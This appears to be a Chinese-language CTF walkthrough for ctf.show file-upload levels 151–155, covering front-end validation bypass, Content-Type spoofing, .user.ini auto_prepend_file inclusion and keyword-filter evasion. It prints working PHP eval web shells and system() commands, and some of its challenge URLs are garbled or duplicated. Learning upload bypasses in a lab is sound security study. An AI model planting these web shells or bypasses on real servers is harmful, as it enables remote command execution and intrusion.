?
這段時間一直在搞文件上傳相關的知識,正好把ctf的題目做做寫寫給自字做個總結!
不過有一個確定就是所有的測試全部是黑盒測試,無法從代碼層面和大家解釋,我找個時間把upload-labs靶場做一做給大家講講白盒的代碼審計
一、實驗準備
1.ctf網站:
www.ctf.show
2.工具:
burpsuite抓包工具、hackbar工具(如果大家沒有可以私我)、firefox(火狐瀏覽器)
二、實驗過程
(一)第151關 -- 前端驗證
前提:我們已知此處可以上傳圖片類型文件
對于前端驗證,我們常用的有兩種方法進行繞過:
1.在右鍵檢查->設置處啟用禁止js
不過此方法建議使用雖然我們有時候能夠繞過,但是當此網頁含有大量使用js編寫的代碼時,會導致網頁部分功能癱瘓!汗顏,ctf也失效了,所以還是老老實實使用第二種方法
2.將后門以.jpg/.png/.gif等允許格式發送,使用bp抓包修改后綴
上傳成功!
但是此時可能會有小可愛問吶:哎哎哎,你咋知道就是前端驗證呢?說出你的證據!
我們右鍵查看網頁源碼,查看到js源碼過濾邏輯,只允許我們上傳.png文件
3.利用后門文件
一句話木馬,上下兩種無論帶不帶引號均可以:
<?php @eval($_POST['ws'])?>
<?php @eval($_POST[ws])?>
此時我們存在兩種方法(此處我們統一使用第2中方法):
(1)通過蟻劍連接尋找flag文件
payload:
https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/upload/1.php
連接密碼(因人而異):
ws
(2)直接通過hackbar發post包利用system()函數執行
post data:ws=system("ls ../");
post data:ws=system("tac?../flag.php");
成功!
(二)第152關 -- 不嚴謹的后端驗證
1.上傳后門及分析
此處考察我們content-type驗證為:image/png、image/gif、image/jpg
傳輸正確文件抓包,content-type為image/pnf
發送一句話木馬,修改content-type值為:image/png,此處注意一下,我直接上傳.php文件發現無法通過,定睛一看才發現前端驗證還沒關,汗顏!上傳1.png的木馬
上傳成功!
2.利用后門
與151關類似,我們使用第二種方法,通過hackbar直接發包利用函數的方式獲取flag
payload:
https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.phphttps://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php
https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php
post data:ws=system('ls ../');
post data:ws=system("tac ../flag.php");
成功!
(三)第153關 -- 利用php中.user.ini文件進行解析
我們嘗試使用151關和152關的思路進行解題,發現無法實現,繼而想到后端是否過濾大小寫,抓包后將1.png文件改成1.pHp,發現能夠上傳成功,但是無法利用
突然崩潰,但是!.user.ini文件出現了,正如apache服務中的.htaccess文件!
1. .user.ini文件特性
當網站進行掃描時,會將.user.ini文件指向路徑內容包含在首頁代碼處(如index.php、index.html等),使用參數auto_prepend_file(包含至首頁文件頭部)和auto_append_file(包含在首頁文件尾部)進行配置
例如:auto_prepend_file=1.png //將1.png文件內容包含在首頁文件中,“=”后緊跟需要包含文件路徑
所以,本題的解題思路:
先將.user.ini文件上傳至upload目錄處,并且在其中寫入auto_prepend_file=1.png,緊接著上傳1.png格式一句話代碼,最后訪問payload即可
2.上傳.user.ini文件(使用bp中repaeater重發器功能進行上傳)
內容:auto_prepend_file=1.png
上傳成功
3.上傳1.png格式一句話木馬
上傳成功!
4.利用
首先訪問..upload/index.php觸發.ujser.ini文件將1.png內容寫入index.php中
paylaod:https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.phphttps://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php
其次,操作如上述兩關

https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php(四)第154關 -- 內容過濾
執行思路如153關,但是在上傳1.png文件時注意所過濾的內容
1.上傳.user.ini文件
(具體不在進行演示與上述153關相同)
2.上傳1.png木馬文件尋找過濾內容
過濾內容:php
經過多次嘗試發包,當文件內容不包含php字眼時可以上傳成功,所以過濾內容為php
所以我們的問題變成如何在不寫入php字眼時傳入后門?提供方式如下:
paylaod:<?=eval($_POST['ws']);?>
上傳成功
3.利用后門
是騾子是馬我們拉出來遛一遛,進行前述關卡利用操作
首先訪問首頁文件觸發.user.ini將1.png內容寫入,觸發后門
payload:https://8d5042ac-a58e-46a4-82cf-90dd07ccc04a.challenge.ctf.show/upload/index.php
post data:ws=system("ls ../");
post data:ws=system("tac ../flag.php");
成功!
(五)第155關 -- 內容過濾
整體思路與154關一樣,只是過濾內容不一樣,所以我們此關著重關注測試所過濾的內容!
1.上傳.user.ini文件
內容:auto_prepend_file=1.png
2.測試過濾內容
發現僅僅去掉php即可成功發送(媽呀,那不是直接和154關一樣啦!)
過濾內容:php
paylaod:<?=eval($_POST['ws']);?>
3.利用(與154一致)
訪問../upload/index.php觸發->尋找flag.php文件所在位置->查看flag.php文件內容
成功!
先寫到這,明天繼續!